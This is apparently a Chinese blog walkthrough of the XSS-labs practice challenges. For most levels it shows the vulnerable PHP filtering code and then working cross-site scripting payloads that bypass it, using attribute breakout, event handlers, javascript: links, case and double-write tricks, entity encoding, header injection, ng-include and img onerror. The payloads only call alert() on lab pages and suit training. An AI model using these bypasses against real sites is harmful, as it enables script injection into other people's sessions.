XSS

本文最后更新于:10 个月前

Xss_Labs

涉及到XSS查看源代码的操作均使用ViewSource,不要用开发者工具的Elements查看!不会显示HTML实体的,浏览器会自动解码!

level2

<script>alert(1)</script>如下:

看一眼源代码,发现value属性中的字符没有变成HTML实体,而<h2>标签内的变了,说明在表单内的字符没有进行过滤,GET传入服务器时无过滤,但是服务器传回到浏览器发生转义,emmm,那就直接闭合input标签就好了

payload:

1
"><script>alert(1)</script>

level3

用个<script>alert(1)</script>探探路,表单内的和h2标签的都被转义了,

那我们就看看有哪些预定义字符是会被php转义成实体的(文章参考这篇)

解码结果 描述 实体名称
空格 &nbsp;
< 小于号 &lt
> 大于号 &gt
& &amp
双引号 &quot

注意单引号虽然存在实体&apos但是不被转义,HTML5中预留但是也不推荐使用

先闭合value,再引入鼠标事件的属性(onclick,onfocus,onmouseover,onmouseout等等)

构造payload:

1
2
3
4
' onclick=javascript:alert(1) ' //点击input标签时
' onfocus=javascript:alert(1) ' //聚焦input标签时
' onmouseover=javascript:alert(1) ' //进入input标签时
' onmouseout=javascript:alert(1) ' //移出input标签时

level4

依旧传入<script>alert(1)</script>,打开网页源码发现value没被转义但是<>字符被过滤,但是h2标签内被转义

1
2
3
4
5
6
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">

试下和上一题同样的操作,但是双引号闭合:

payload:

1
" onmouseout=javascript:alert(1) "

level5

依旧<script>alert(1)</script>开局,script变成scr_ipt,再试试鼠标事件,on变成o_n,试一下大写绕过,结果全被换成小写,

去看下后端代码,script和on被替换,并且strtolower()函数存在,全转成小写

1
2
3
4
5
6
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">

尝试js伪协议:

1
2
3
4
<a href=javascript:/0/,alert(%22M%22)>M</a>
<a href=javascript:/00/,alert(%22M%22)>M</a>
<a href=javascript:/000/,alert(%22M%22)>M</a>
<a href=javascript:/M/,alert(%22M%22)>M</a>

payload

1
"><a href='javascript:alert(1)'>m</a>

点击这个链接:

level6

前面踩坑过程都一样,直接上后端代码

1
2
3
4
5
6
7
8
9
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">

与上一题不同的是,这题没有小写转换,大写绕过下

payload:

1
"><Script>alert(1)</Script>

level7

直接上后端代码:

1
2
3
4
5
6
7
8
9
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">

全转成小写再过滤,很明显双写绕过了

payload:

1
"><scriscriptpt>alert(1)</scriscriptpt>

level8

后端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

是把传入的字符串进行转小写之后进行一系列过滤操作,最后将字符写入a标签的href属性中,跳转链接

利用js伪协议,传javascript:alert(1),但是script被过滤,上网搜了下,可以使用unicode编码

level9

上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

下面多了个strpos()函数的验证,输入字符串必须包含’http://‘,emmm,可是你也妹说在哪写’http://‘,直接和第八题一样

编码’javascript’:

payload:

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert('http://')

level10

话不多说,上代码:

1
2
3
4
5
6
7
8
9
10
11
12
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

emmm,表单隐藏起来了呀,小问题,这不是可以GET传参嘛

传了个" onclick='javascript:alert(1)',唉呦吼吼,忘记了,表单隐藏了,所以没法点击,想了个办法,但是感觉是非预期解吧。。就是开开发者工具修改网页代码,把type属性删掉,过是过了,但是好蠢www,去网上看了下

1
?keyword=nul&t_sort=" type="text" onclick="alert('xss')

这里input标签内将会出现两个type属性,浏览器通常会判定第一个出现的值作为最终的值

level11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

先看参数t_sort,想通过覆盖type属性的值就要闭合双引号,就会被转义,是行不通的,那就通过t_ref参数,修改ref头来进行xss

level12

同上,换成了ua

level13

同上,换成了cookie

level14

题目出问题了,做不了

level15

1
2
3
4
5
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

ng-include:这玩意类似于php的include,文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1、ng-include 指令用于包含外部的 HTML文件。

2、包含的内容将作为指定元素的子节点。

3、ng-include 属性的值可以是一个表达式,返回一个文件名。

4、默认情况下,包含的文件需要包含在同一个域名下。

特别值得注意的几点如下:

1.ng-include,如果单纯指定地址,必须要加引号

2.ng-include,加载外部html,script标签中的内容不执行

3.ng-include,加载外部html中含有style标签样式可以识别

所以可以包含同样存在xss漏洞的level1:

payload:

因为不执行script标签内容,所以这里使用伪协议或者<img>标签

1
2
3
4
?src='level1.php?name=<a href='javascript:alert(1)'>xss</a>'//错误的,自己看着点单双引号
?src='level1.php?name=<a href="javascript:alert(/xss/)">'//正确的
?src='level1.php?name=<img src=1 onerror=alert(1)/>'//错误的,不要加'/'
?src='level1.php?name=<img src=1 onerror=alert(1)>'//正确的

level17

1
2
3
4
5
6
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";

不让用script?那就用<img>,空格过滤?那么多绕过姿势

payload:

1
2
3
<img%0asrc=x%0aonerror=alert(1)>
<img%0csrc=x%0conerror=alert(1)>
<img%0dsrc=x%0donerror=alert(1)>